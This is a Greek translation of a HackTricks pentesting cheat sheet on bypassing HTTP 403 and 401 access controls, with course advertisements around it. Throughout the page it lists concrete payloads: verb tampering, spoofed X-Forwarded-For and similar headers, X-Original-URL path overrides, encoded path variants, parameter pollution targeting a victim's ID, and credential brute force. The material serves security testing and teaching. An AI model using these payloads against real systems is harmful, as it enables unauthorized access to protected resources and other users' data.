403 & 401 Bypasses
Last updated
Last updated
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές σας, το δίκτυο και το cloud
Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο. Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε τα προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
Δοκιμάστε να χρησιμοποιήσετε διαφορετικά ρήματα για να αποκτήσετε πρόσβαση στο αρχείο: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
Ελέγξτε τις κεφαλίδες απόκρισης, ίσως κάποιες πληροφορίες να μπορούν να δοθούν. Για παράδειγμα, μια απάντηση 200 σε HEAD με Content-Length: 55
σημαίνει ότι το ρήμα HEAD μπορεί να αποκτήσει πρόσβαση στις πληροφορίες. Αλλά πρέπει ακόμα να βρείτε έναν τρόπο να εξάγετε αυτές τις πληροφορίες.
Χρησιμοποιώντας μια HTTP κεφαλίδα όπως X-HTTP-Method-Override: PUT
μπορεί να αντικαταστήσει το ρήμα που χρησιμοποιείται.
Χρησιμοποιήστε το TRACE
ρήμα και αν είστε πολύ τυχεροί ίσως στην απάντηση να δείτε επίσης τις κεφαλίδες που προστέθηκαν από ενδιάμεσους διακομιστές που μπορεί να είναι χρήσιμες.
Αλλάξτε την κεφαλίδα Host σε κάποια αυθαίρετη τιμή (που λειτούργησε εδώ)
Δοκιμάστε να χρησιμοποιήσετε άλλους User Agents για να αποκτήσετε πρόσβαση στους πόρους.
Fuzz HTTP Headers: Δοκιμάστε να χρησιμοποιήσετε HTTP Proxy Headers, HTTP Authentication Basic και NTLM brute-force (με λίγους μόνο συνδυασμούς) και άλλες τεχνικές. Για να κάνω όλα αυτά έχω δημιουργήσει το εργαλείο fuzzhttpbypass.
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost
Αν το μονοπάτι είναι προστατευμένο μπορείτε να προσπαθήσετε να παρακάμψετε την προστασία του μονοπατιού χρησιμοποιώντας αυτές τις άλλες κεφαλίδες:
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
Αν η σελίδα είναι πίσω από έναν διακομιστή μεσολάβησης, ίσως ο διακομιστής μεσολάβησης να είναι αυτός που σας εμποδίζει να αποκτήσετε πρόσβαση στις ιδιωτικές πληροφορίες. Δοκιμάστε να εκμεταλλευτείτε HTTP Request Smuggling ή κεφαλίδες hop-by-hop.
Fuzz ειδικές HTTP κεφαλίδες αναζητώντας διαφορετική απόκριση.
Fuzz ειδικές HTTP κεφαλίδες ενώ κάνετε fuzzing HTTP Methods.
Αφαιρέστε την κεφαλίδα Host και ίσως μπορέσετε να παρακάμψετε την προστασία.
Αν /path είναι μπλοκαρισμένο:
Δοκιμάστε να χρησιμοποιήσετε /%2e/path _(αν η πρόσβαση είναι μπλοκαρισμένη από έναν διακομιστή μεσολάβησης, αυτό θα μπορούσε να παρακάμψει την προστασία). Δοκιμάστε επίσης_** /%252e**/path (διπλή κωδικοποίηση URL)
Δοκιμάστε Unicode bypass: /%ef%bc%8fpath (Οι κωδικοποιημένοι χαρακτήρες URL είναι όπως το "/") έτσι όταν κωδικοποιηθούν ξανά θα είναι //path και ίσως έχετε ήδη παρακάμψει τον έλεγχο ονόματος /path
Άλλες παρακάμψεις μονοπατιών:
site.com/secret –> HTTP 403 Forbidden
site.com/SECRET –> HTTP 200 OK
site.com/secret/ –> HTTP 200 OK
site.com/secret/. –> HTTP 200 OK
site.com//secret// –> HTTP 200 OK
site.com/./secret/.. –> HTTP 200 OK
site.com/;/secret –> HTTP 200 OK
site.com/.;/secret –> HTTP 200 OK
site.com//;//secret –> HTTP 200 OK
site.com/secret.json –> HTTP 200 OK (ruby)
Χρησιμοποιήστε όλη αυτή τη λίστα στις παρακάτω καταστάσεις:
/FUZZsecret
/FUZZ/secret
/secretFUZZ
Άλλες παρακάμψεις API:
/v3/users_data/1234 --> 403 Forbidden
/v1/users_data/1234 --> 200 OK
{“id”:111} --> 401 Unauthriozied
{“id”:[111]} --> 200 OK
{“id”:111} --> 401 Unauthriozied
{“id”:{“id”:111}} --> 200 OK
{"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)
user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)
Αλλάξτε τιμή παραμέτρου: Από id=123
--> id=124
Προσθέστε επιπλέον παραμέτρους στη διεύθυνση URL: ?
id=124
—-> id=124&isAdmin=true
Αφαιρέστε τις παραμέτρους
Αναδιατάξτε τις παραμέτρους
Χρησιμοποιήστε ειδικούς χαρακτήρες.
Εκτελέστε δοκιμές ορίων στις παραμέτρους — παρέχετε τιμές όπως -234 ή 0 ή 99999999 (μόνο μερικές παραδείγματα).
Αν χρησιμοποιείτε HTTP/1.1 δοκιμάστε να χρησιμοποιήσετε 1.0 ή ακόμα και να ελέγξετε αν υποστηρίζει 2.0.
Αποκτήστε το IP ή CNAME του τομέα και δοκιμάστε να επικοινωνήσετε απευθείας.
Δοκιμάστε να πιέσετε τον διακομιστή στέλνοντας κοινά GET αιτήματα (Λειτούργησε για αυτόν τον τύπο με το Facebook).
Αλλάξτε το πρωτόκολλο: από http σε https, ή για https σε http
Πηγαίνετε στο https://archive.org/web/ και ελέγξτε αν στο παρελθόν αυτό το αρχείο ήταν παγκοσμίως προσβάσιμο.
Μαντέψτε τον κωδικό πρόσβασης: Δοκιμάστε τα παρακάτω κοινά διαπιστευτήρια. Ξέρετε κάτι για το θύμα; Ή το όνομα της πρόκλησης CTF;
Brute force: Δοκιμάστε βασική, digest και NTLM αυθεντικοποίηση.
Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο. Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)